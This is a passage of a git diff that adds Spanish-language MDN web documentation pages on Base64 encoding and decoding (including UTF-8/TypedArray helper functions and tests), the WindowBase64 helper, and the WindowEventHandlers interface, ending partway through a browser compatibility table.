+<p>Ambas funciones trabajan sobre cadenas de texto. Si desea trabajar con <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer">ArrayBuffers</a>, lea <a href="/es/docs/Web/API/WindowBase64/Base64_codificando_y_decodificando$edit#Solution_.232_.E2.80.93_rewriting_atob%28%29_and_btoa%28%29_using_TypedArrays_and_UTF-8">este párrafo</a>.</p>
+
+
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentación</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/data_URIs" title="https://developer.mozilla.org/en-US/docs/data_URIs"><code>data</code> URIs</a></dt>
+     <dd><small><code>Los URIs de</code> datos, definidos por <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a>, permiten a los creadores de contenido introducir pequeños ficheros en línea en documentos.</small></dd>
+     <dt><a href="https://es.wikipedia.org/wiki/Base64" title="https://en.wikipedia.org/wiki/Base64">Base64</a></dt>
+     <dd><small>Artículo en Wikipedia sobre el sistema de codificación Base64.</small></dd>
+     <dt>{{domxref("WindowBase64.atob","atob()")}}</dt>
+     <dd><small>Decodifica una cadena de datos que ha sido codificada utilizando base-64.</small></dd>
+     <dt>{{domxref("WindowBase64.btoa","btoa()")}}</dt>
+     <dd><small>Crea una cadena ASCII codificada en base 64 a partir de una "cadena" de datos binarios.</small></dd>
+     <dt><a href="#The_.22Unicode_Problem.22">The "Unicode Problem"</a></dt>
+     <dd><small>En la mayoría de navegadores, llamar a <code>btoa()</code> con una cadena Unicode causará una excepción <code>Character Out Of Range</code>. Este párrafo muestra algunas soluciones.</small></dd>
+     <dt><a href="/en-US/docs/URIScheme" title="/en-US/docs/URIScheme">URIScheme</a></dt>
+     <dd><small>Lista de esquemas URI soportados por Mozilla.</small></dd>
+     <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a></dt>
+     <dd>En este artículo está publicada una librería hecha por nosotros con los siguientes objetivos:</dd>
+     <dd>
+     <ul>
+      <li>crear una interfaz al estilo de <a class="external" href="http://en.wikipedia.org/wiki/C_%28programming_language%29" title="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a> para cadenas (es decir, arrays de códigos de caracteres —<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> en JavaScript) basada en la interfaz  <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> de JavaScript.</li>
+      <li>crear una colección de métodos para los que los objetos parecidos a cadenas (de ahora en adelante, <code>stringView</code>s) funcionen estrictamente en arrays de números más que en cadenas JavaScript inmutables.</li>
+      <li>trabajar con otras codificaciones Unicode diferentes de las <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s UTF-16 por defecto de JavaScript.</li>
+     </ul>
+     </dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Base64">Ver todo...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">Herramientas</h2>
+
+    <ul>
+     <li><a href="#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">Reescribir atob() y btoa() usando TypedArrays y UTF-8</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code>, una representación parecida a C de cadenas basadas en arrays tipados</a><span class="alllinks"><a href="/en-US/docs/tag/Base64">View All...</a></span></li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Temas relacionados</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Vectores o arrays tipados</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>Uint8Array</code></a></li>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView">, una representación parecida a C de cadenas basadas en arrays tipados</a></li>
+     <li><a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a></li>
+     <li><a href="/en-US/docs/URI" title="/en-US/docs/URI"><code>URI</code></a></li>
+     <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI"><code>encodeURI()</code></a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="El_Problema_Unicode">El "Problema Unicode"</h2>
+
+<p>Como las <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s son cadenas codificadas en 16 bits, en la mayoría de navegadores llamar a <code>window.btoa</code> sobre una cadena Unicode resultará en una excepción <code>Character Out Of Range </code>si un carácter excede el rango de los caracteres ASCII de 8 bits. Hay dos posibles métodos para resolver este problema:</p>
+
+<ul>
+ <li>el primero es escapar la cadena completa y, entonces, codificarla;</li>
+ <li>el segundo es convertir la <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a> UTF-16 en un array de caracteres UTF-8 y codificarla.</li>
+</ul>
+
+<p>Aquí están los dos posibles métodos:</p>
+
+<h3 id="Solución_1_–_escapar_la_cadena_antes_de_codificarla">Solución #1 – escapar la cadena antes de codificarla</h3>
+
+<pre class="brush:js notranslate">function utf8_to_b64( str ) {
+  return window.btoa(unescape(encodeURIComponent( str )));
+}
+
+function b64_to_utf8( str ) {
+  return decodeURIComponent(escape(window.atob( str )));
+}
+
+// Uso:
+utf8_to_b64('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64_to_utf8('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"</pre>
+
+<p>Esta solución ha sido propuesta por <a href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johan Sundström</a>.</p>
+
+<p>Otra posible solución sin utilizar las funciones 'unscape' y 'escape', ya obsoletas.</p>
+
+<pre class="brush:js notranslate">function b64EncodeUnicode(str) {
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
+        return String.fromCharCode('0x' + p1);
+    }));
+}
+ b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+</pre>
+
+<h3 id="Solución_2_–_reescribir_atob_y_btoa_usando_TypedArrays_y_UTF-8">Solución #2 – reescribir <code>atob()</code> y <code>btoa()</code> usando <code>TypedArray</code>s y UTF-8</h3>
+
+<div class="note"><strong>Nota:</strong> El siguiente código también es útil para obtener un <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffer</a> a partir de una cadena <em>Base64</em> y/o viceversa (<a href="#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">véase abajo</a>). <strong>Para una librería completa de arrays tipados, vea <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView">este artículo</a></strong>.</div>
+
+<pre class="brush: js notranslate">"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding
+|*|
+\*/
+
+/* Decodificación de cadena base64 en array de bytes */
+
+function b64ToUint6 (nChr) {
+
+  return nChr &gt; 64 &amp;&amp; nChr &lt; 91 ?
+      nChr - 65
+    : nChr &gt; 96 &amp;&amp; nChr &lt; 123 ?
+      nChr - 71
+    : nChr &gt; 47 &amp;&amp; nChr &lt; 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlocksSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 &gt;&gt; 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 &gt;&gt; 2, taBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx &lt; nInLen; nInIdx++) {
+    nMod4 = nInIdx &amp; 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) &lt;&lt; 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 &lt; 3 &amp;&amp; nOutIdx &lt; nOutLen; nMod3++, nOutIdx++) {
+        taBytes[nOutIdx] = nUint24 &gt;&gt;&gt; (16 &gt;&gt;&gt; nMod3 &amp; 24) &amp; 255;
+      }
+      nUint24 = 0;
+
+    }
+  }
+
+  return taBytes;
+}
+
+/* Codificación de array en una cadena Base64 */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 &lt; 26 ?
+      nUint6 + 65
+    : nUint6 &lt; 52 ?
+      nUint6 + 71
+    : nUint6 &lt; 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var nMod3 = 2, sB64Enc = "";
+
+  for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx &lt; nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    if (nIdx &gt; 0 &amp;&amp; (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    nUint24 |= aBytes[nIdx] &lt;&lt; (16 &gt;&gt;&gt; nMod3 &amp; 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 &gt;&gt;&gt; 18 &amp; 63), uint6ToB64(nUint24 &gt;&gt;&gt; 12 &amp; 63), uint6ToB64(nUint24 &gt;&gt;&gt; 6 &amp; 63), uint6ToB64(nUint24 &amp; 63));
+      nUint24 = 0;
+    }
+  }
+
+  return sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) + (nMod3 === 2 ? '' : nMod3 === 1 ? '=' : '==');
+
+}
+
+/* De array UTF-8 a DOMString y viceversa */
+
+function UTF8ArrToStr (aBytes) {
+
+  var sView = "";
+
+  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx &lt; nLen; nIdx++) {
+    nPart = aBytes[nIdx];
+    sView += String.fromCharCode(
+      nPart &gt; 251 &amp;&amp; nPart &lt; 254 &amp;&amp; nIdx + 5 &lt; nLen ? /* six bytes */
+        /* (nPart - 252 &lt;&lt; 30) may be not so safe in ECMAScript! So...: */
+        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 &lt;&lt; 24) + (aBytes[++nIdx] - 128 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 247 &amp;&amp; nPart &lt; 252 &amp;&amp; nIdx + 4 &lt; nLen ? /* five bytes */
+        (nPart - 248 &lt;&lt; 24) + (aBytes[++nIdx] - 128 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 239 &amp;&amp; nPart &lt; 248 &amp;&amp; nIdx + 3 &lt; nLen ? /* four bytes */
+        (nPart - 240 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 223 &amp;&amp; nPart &lt; 240 &amp;&amp; nIdx + 2 &lt; nLen ? /* three bytes */
+        (nPart - 224 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 191 &amp;&amp; nPart &lt; 224 &amp;&amp; nIdx + 1 &lt; nLen ? /* two bytes */
+        (nPart - 192 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : /* nPart &lt; 127 ? */ /* one byte */
+        nPart
+    );
+  }
+
+  return sView;
+
+}
+
+function strToUTF8Arr (sDOMStr) {
+
+  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
+
+  /* mapeando... */
+
+  for (var nMapIdx = 0; nMapIdx &lt; nStrLen; nMapIdx++) {
+    nChr = sDOMStr.charCodeAt(nMapIdx);
+    nArrLen += nChr &lt; 0x80 ? 1 : nChr &lt; 0x800 ? 2 : nChr &lt; 0x10000 ? 3 : nChr &lt; 0x200000 ? 4 : nChr &lt; 0x4000000 ? 5 : 6;
+  }
+
+  aBytes = new Uint8Array(nArrLen);
+
+  /* transcripción... */
+
+  for (var nIdx = 0, nChrIdx = 0; nIdx &lt; nArrLen; nChrIdx++) {
+    nChr = sDOMStr.charCodeAt(nChrIdx);
+    if (nChr &lt; 128) {
+      /* un byte */
+      aBytes[nIdx++] = nChr;
+    } else if (nChr &lt; 0x800) {
+      /* dos bytes */
+      aBytes[nIdx++] = 192 + (nChr &gt;&gt;&gt; 6);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x10000) {
+      /* tres bytes */
+      aBytes[nIdx++] = 224 + (nChr &gt;&gt;&gt; 12);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x200000) {
+      /* cuatro bytes */
+      aBytes[nIdx++] = 240 + (nChr &gt;&gt;&gt; 18);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x4000000) {
+      /* cinco bytes */
+      aBytes[nIdx++] = 248 + (nChr &gt;&gt;&gt; 24);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 18 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else /* if (nChr &lt;= 0x7fffffff) */ {
+      /* seis bytes */
+      aBytes[nIdx++] = 252 + (nChr &gt;&gt;&gt; 30);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 24 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 18 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    }
+  }
+
+  return aBytes;
+
+}
+</pre>
+
+<h4 id="Tests">Tests</h4>
+
+<pre class="brush: js notranslate">/* Tests */
+
+var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
+
+var aMyUTF8Input = strToUTF8Arr(sMyInput);
+
+var sMyBase64 = base64EncArr(aMyUTF8Input);
+
+alert(sMyBase64);
+
+var aMyUTF8Output = base64DecToArr(sMyBase64);
+
+var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
+
+alert(sMyOutput);</pre>
+
+<h4 id="Apéndice_Decodificar_una_cadena_Base64_en_Uint8Array_o_ArrayBuffer">Apéndice: Decodificar una cadena <em>Base64</em> en <a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array">Uint8Array</a> o <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffer</a></h4>
+
+<p>Estas funciones nos permiten crear también <a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array">uint8Arrays</a> o <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer">arrayBuffers</a> a partir de cadenas codificadas en base 64:</p>
+
+<pre class="brush: js notranslate">var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network"
+
+var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network"
+
+alert(myBuffer.byteLength);</pre>
+
+<div class="note"><strong>Nota:</strong> La función <code>base64DecToArr(sBase64[, <em>nBlocksSize</em>])</code> devuelve un <a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>uint8Array</code></a> de bytes. Si tu objetivo es construir un búfer de datos crudos de 16, 32 o 64 bits, usa el argumento <code>nBlocksSize</code>, que es el número de bytes de los que la propiedad <code>uint8Array.buffer.bytesLength</code> debe devolver un múltiplo (1 u omitido para ASCII, <a href="/en-US/docs/Web/API/DOMString/Binary">cadenas binarias</a> o cadenas UTF-8 codificacas, 2 para cadenas UTF-16, 4 para cadenas UTF-32).</div>
+
+<p>Para una librería más completa, véase <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView">, una representación parecida a C de cadenas basadas en arrays tipados</a>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/data_URIs" title="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffer</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">TypedArrays</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array">Uint8Array</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString">DOMString</a></li>
+ <li><a href="/en-US/docs/URI" title="/en-US/docs/URI"><code>URI</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI"><code>encodeURI()</code></a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/nsIURIFixup" title="/en-US/docs/XPCOM_Interface_Reference/nsIURIFixup"><code>nsIURIFixup()</code></a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Base64" title="https://en.wikipedia.org/wiki/Base64"><code>Base64 on Wikipedia</code></a></li>
+</ul>
diff --git a/files/es/web/api/windowbase64/index.html b/files/es/web/api/windowbase64/index.html
new file mode 100644
index 0000000000..bdce1f982f
--- /dev/null
+++ b/files/es/web/api/windowbase64/index.html
@@ -0,0 +1,108 @@
+---
+title: WindowBase64
+slug: Web/API/WindowBase64
+tags:
+  - API
+  - HTML-DOM
+  - Helper
+  - NeedsTranslation
+  - TopicStub
+  - WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<p>{{APIRef}}</p>
+<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p>
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+<h2 id="Properties">Properties</h2>
+<p><em>This helper neither defines nor inherits any properties.</em></p>
+<h2 id="Methods">Methods</h2>
+<p><em>This helper does not inherit any methods.</em></p>
+<dl>
+ <dt>
+  {{domxref("WindowBase64.atob()")}}</dt>
+ <dd>
+  Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>
+  {{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>
+  Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox (Gecko)</th>
+    <th>Chrome</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatGeckoDesktop(1)}} [1]</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>10.0</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Android</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatGeckoMobile(1)}}</td>
+    <td rowspan="1">{{CompatVersionUnknown}}</td>
+    <td rowspan="1">{{CompatVersionUnknown}}</td>
+    <td rowspan="1">{{CompatVersionUnknown}}</td>
+    <td rowspan="1">{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/es/web/api/windoweventhandlers/index.html b/files/es/web/api/windoweventhandlers/index.html
new file mode 100644
index 0000000000..9a1ab057e9
--- /dev/null
+++ b/files/es/web/api/windoweventhandlers/index.html
@@ -0,0 +1,184 @@
+---
+title: WindowEventHandlers
+slug: Web/API/WindowEventHandlers
+tags:
+  - API
+translation_of: Web/API/WindowEventHandlers
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>WindowEventHandlers</code></strong> describes the event handlers common to several interfaces like {{domxref("Window")}}, or {{domxref("HTMLBodyElement")}} and  {{domxref("HTMLFrameSetElement")}}. Each of these interfaces can implement more event handlers.</p>
+
+<p><code>WindowEventHandlers</code> is a not an interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("WindowEventHandlers")}}, and implemented by {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("afterprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeprint")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("beforeunload")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("hashchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("languagechange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("offline")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("online")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pagehide")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("resize")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML 5")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onhashchange</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
